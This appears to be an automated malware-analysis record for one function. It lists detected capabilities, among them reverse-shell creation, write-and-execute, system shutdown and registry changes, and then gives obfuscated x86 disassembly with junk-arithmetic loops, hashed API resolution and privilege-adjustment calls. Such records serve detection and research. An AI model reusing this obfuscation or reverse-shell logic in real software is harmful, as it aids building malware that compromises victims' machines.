Function at 0x42ef80
Capabilities:
Accept command line arguments
Allocate thread local storage
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Enumerate files on windows
Get common file path
Get file attributes
Get graphical window text
Get thread local storage value
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov dword [ebp - 0x48], 0x11764
mov dword [ebp - 8], 0x13786
mov dword [ebp - 0x10], 0xa3df
mov dword [ebp - 0x28], 0xc36b
mov dword [ebp - 0x40], 0xdadd
mov dword [ebp - 0x2c], 0x12c94
mov dword [ebp - 0x18], 0x10656
mov dword [ebp - 0xc], 0x1743d
mov dword [ebp - 4], 0x17548
mov dword [ebp - 0x14], 0x525a
mov dword [ebp - 0x38], 0x10a37
mov dword [ebp - 0x30], 0x6e00
mov dword [ebp - 0x54], 0x7292
mov dword [ebp - 0x1c], 0x42c
mov dword [ebp - 0x20], 0x7477
mov dword [ebp - 0x50], 0xfee5
mov dword [ebp - 0x34], 0xe72a
mov dword [ebp - 0x44], 0x593a
mov dword [ebp - 0x24], 0x16551
mov dword [ebp - 0x4c], 0x148f0
mov dword [ebp - 0x3c], 0x8e39
mov eax, dword [ebp - 0x20]
sub eax, 0xa73
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x38], ecx
jmp 0x42f03b
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0xc]
jge 0x42f2e8
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 4]
jge 0x42f0b6
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x40]
jl 0x42f090
mov eax, dword [ebp - 0x30]
xor eax, dword [ebp - 0x54]
jne 0x42f090
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
jne 0x42f090
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x7c]
jge 0x42f0b6
mov ecx, dword [ebp - 4]
or ecx, dword [ebp - 0x28]
je 0x42f0b6
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x14]
jge 0x42f0b6
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x50]
jl 0x42f0ef
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x84]
jge 0x42f0f8
mov ecx, dword [ebp - 0x30]
and ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x20]
jge 0x42f0f8
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x18]
jl 0x42f11b
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x14]
jge 0x42f113
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x40]
jl 0x42f11b
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x34]
jge 0x42f15e
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x8c]
jl 0x42f155
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x3c]
jge 0x42f15e
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x28]
jl 0x42f1db
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x90]
cmp ecx, dword [ebp - 0x94]
jge 0x42f1a5
mov dword [ebp - 0x60], 1
jmp 0x42f1ac
mov dword [ebp - 0x60], 0
mov edx, dword [ebp - 0x44]
and edx, dword [ebp - 0x60]
je 0x42f1bf
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x20]
jl 0x42f1db
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 8]
jge 0x42f1e4
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x30]
jge 0x42f1e4
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x1c]
or edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x40]
jge 0x42f226
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x44]
je 0x42f226
mov ecx, dword [ebp - 0x54]
and ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 8]
jge 0x42f226
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x9c]
jl 0x42f288
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x14]
jl 0x42f288
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x24]
jl 0x42f288
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xa4]
jge 0x42f2e3
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x4c]
jge 0x42f299
mov dword [ebp - 0x64], 1
jmp 0x42f2a0
mov dword [ebp - 0x64], 0
mov edx, dword [ebp - 0x24]
xor edx, dword [ebp - 0x64]
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0xa8], 0
je 0x42f2e3
mov ecx, dword [ebp - 0x28]
or ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x10]
jge 0x42f2e3
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x50]
jge 0x42f2e3
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
jmp 0x42f032
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
call fcn.00426f50
mov eax, dword [ebp - 0x44]
sub eax, 0xc98
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x40]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x40], ecx
jmp 0x42f315
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x3c]
jge 0x42f5c5
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x30]
jl 0x42f369
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x18]
jl 0x42f369
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x38]
jl 0x42f369
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 4]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 0xac], 0
je 0x42f372
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x2c]
jge 0x42f3b9
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xb0]
cmp ecx, dword [ebp - 0xb4]
jge 0x42f3b9
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 4]
test edx, edx
je 0x42f3b9
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x30]
jl 0x42f3cd
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x28]
jge 0x42f3d6
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0xc]
jge 0x42f46a
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x2c]
jge 0x42f3f2
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x18]
jne 0x42f40f
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x54]
jge 0x42f46a
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0xb8]
cmp ecx, dword [ebp - 0xbc]
jl 0x42f461
mov edx, dword [ebp - 0x10]
or edx, dword [ebp - 4]
jne 0x42f461
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x2c]
jge 0x42f459
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0xc]
jne 0x42f461
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x54]
jge 0x42f46a
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x4c]
jge 0x42f47b
mov dword [ebp - 0x68], 1
jmp 0x42f482
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x1c]
or eax, dword [ebp - 0x68]
je 0x42f492
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x2c]
jne 0x42f4a5
mov edx, dword [ebp - 0xc]
or edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x50]
jge 0x42f50b
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x30]
jge 0x42f50b
mov ecx, dword [ebp - 0x34]
xor ecx, dword [ebp - 8]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
cmp dword [ebp - 0xc0], 0
jne 0x42f502
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x14]
jl 0x42f502
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x4c]
jl 0x42f502
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0xc4], 0
jne 0x42f502
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
xor edx, dword [ebp - 0xc]
je 0x42f50b
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x54]
jl 0x42f54b
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jge 0x42f52f
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x28]
jl 0x42f54b
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x34]
jge 0x42f554
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x42f554
mov edx, dword [ebp - 0x38]
sub edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jge 0x42f5b7
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x10]
jge 0x42f5b7
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x50]
je 0x42f5b7
mov eax, dword [ebp - 0x50]
or eax, dword [ebp - 0x54]
je 0x42f5b7
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x18]
jge 0x42f5b7
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jge 0x42f5b7
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x20]
je 0x42f59a
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x50]
jl 0x42f5ae
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x30]
jge 0x42f5b7
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x42f30c
cmp dword [0x7bc264], 0
jne 0x42f5f1
push 0xb872
push 0xd847
push 0xc25b
call fcn.0040b280
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x7bc264], eax
call fcn.0041ffe0
mov eax, dword [ebp - 0xc]
sub eax, 0x105d5
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
jmp 0x42f615
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x54]
jge 0x42f735
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x20]
sub eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x4c]
jge 0x42f655
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x20]
jge 0x42f655
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x34]
jge 0x42f6a3
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x44]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xcc]
jge 0x42f6a3
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0xc]
je 0x42f6a3
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 0x28]
jne 0x42f6ab
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x4c]
jge 0x42f727
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jge 0x42f6bb
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x40]
jl 0x42f6c3
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x24]
jge 0x42f727
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x38]
jge 0x42f6e6
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x30]
test edx, edx
je 0x42f6e6
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x20]
je 0x42f6e6
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x48]
jl 0x42f6ee
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
je 0x42f727
mov eax, dword [ebp - 0x24]
xor eax, dword [ebp - 0x4c]
je 0x42f6fe
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x2c]
jne 0x42f71e
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x34]
jge 0x42f70f
mov dword [ebp - 0x6c], 1
jmp 0x42f716
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x6c]
je 0x42f727
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x42f60c
mov eax, dword [0x7bc278]
push eax
mov ecx, dword [0x7bc268]
push ecx
mov edx, dword [0x7bc274]
push edx
mov eax, dword [0x7bc260]
push eax
mov ecx, dword [0x7bc264]
push ecx
push 0xaa9c
push 0x40c3
push 0x11bd
push 0x3b55
push 0x64fd
call fcn.004209e0
add esp, 0x14
push eax
mov edx, dword [0x7bc264]
push edx
call fcn.0042ffa0
add esp, 8
call eax
test eax, eax
je 0x42fdd1
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x24]
jne 0x42f7aa
mov edx, dword [ebp - 4]
or edx, dword [ebp - 0x10]
je 0x42f7e3
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 4]
jge 0x42f7e3
mov ecx, dword [ebp - 0x28]
or ecx, dword [ebp - 0x10]
je 0x42f7e3
mov edx, dword [ebp - 0x40]
imul edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x18]
jge 0x42f7e3
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x38]
xor ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0xc]
jge 0x42f7e3
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [0x7bc264], 0
je 0x42fdd1
mov dword [ebp - 0xf4], 0x79e
mov dword [ebp - 0xd4], 0x167e7
mov dword [ebp - 0x58], 0x149d6
mov dword [ebp - 0xf8], 0x2200
mov dword [ebp - 0xd0], 0x176c1
mov dword [ebp - 0xfc], 0x14e04
mov dword [ebp - 0x100], 0xcd2e
mov dword [ebp - 0xd8], 0x13f4e
mov dword [ebp - 0x104], 0x17b18
mov dword [ebp - 0xe8], 0x12593
mov dword [ebp - 0x108], 0x1701a
mov dword [ebp - 0x10c], 0x123e6
mov dword [ebp - 0x110], 0xb552
mov dword [ebp - 0x114], 0x12d0e
mov dword [ebp - 0x118], 0x11143
mov dword [ebp - 0x11c], 0x6211
mov dword [ebp - 0x120], 0xe023
mov dword [ebp - 0xe4], 0x6af
mov dword [ebp - 0x5c], 0x18413
mov dword [ebp - 0x124], 0x2ea4
mov dword [ebp - 0x128], 0x13beb
mov eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0xd4]
jl 0x42f904
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0x58]
sub eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0xdc]
cmp ecx, dword [ebp - 0xe0]
jl 0x42f904
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xe8]
jge 0x42f90d
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x58]
sub edx, 1
mov dword [ebp - 0x58], edx
call fcn.00433810
call fcn.00428770
call fcn.0041a5a0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call dword [sym.imp.USER32.dll_GetDlgItem]
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
call dword [sym.imp.USER32.dll_LoadCursorA]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [sym.imp.USER32.dll_DestroyMenu]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.USER32.dll_GetDC]
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call dword [sym.imp.USER32.dll_EnableWindow]
call dword [sym.imp.GDI32.dll_DeleteObject]
call dword [sym.imp.USER32.dll_KillTimer]
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.USER32.dll_CheckRadioButton]
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.USER32.dll_TranslateMessage]
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call dword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
call dword [sym.imp.GDI32.dll_Rectangle]
call dword [sym.imp.USER32.dll_SetCursor]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call dword [sym.imp.KERNEL32.dll_EncodePointer]
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
call dword [sym.imp.USER32.dll_EnableMenuItem]
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.USER32.dll_CheckDlgButton]
call dword [sym.imp.ole32.dll_CoCreateInstance]
call dword [sym.imp.USER32.dll_CreateMenu]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.KERNEL32.dll_InterlockedFlushSList]
call dword [sym.imp.KERNEL32.dll_UnregisterWait]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.GDI32.dll_SelectObject]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.USER32.dll_CreateWindowExA]
call dword [sym.imp.USER32.dll_ReleaseDC]
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_EndDialog]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
call dword [sym.imp.USER32.dll_PostMessageA]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
call dword [sym.imp.USER32.dll_TrackPopupMenu]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
mov eax, dword [ebp - 4]
sub eax, 0x10760
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x38], ecx
jmp 0x42fdf0
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x18]
jge 0x42fea3
mov ecx, dword [ebp - 0x40]
sub ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 8]
jge 0x42fe29
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x10]
je 0x42fe29
mov edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x28]
test edx, edx
jne 0x42fe49
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x44]
jge 0x42fe3a
mov dword [ebp - 0x70], 1
jmp 0x42fe41
mov dword [ebp - 0x70], 0
mov ecx, dword [ebp - 0x4c]
xor ecx, dword [ebp - 0x70]
je 0x42fe52
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x2c]
jge 0x42fe6c
mov dword [ebp - 0x74], 1
jmp 0x42fe73
mov dword [ebp - 0x74], 0
mov edx, dword [ebp - 0xc]
and edx, dword [ebp - 0x74]
je 0x42fe95
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x30]
jge 0x42fe95
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
jmp 0x42fde7
mov ecx, dword [ebp - 0x48]
sub ecx, 0xfbbb
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x48]
mov dword [ebp - 0x1c], edx
jmp 0x42fec3
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x3c]
jge 0x42ff9a
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
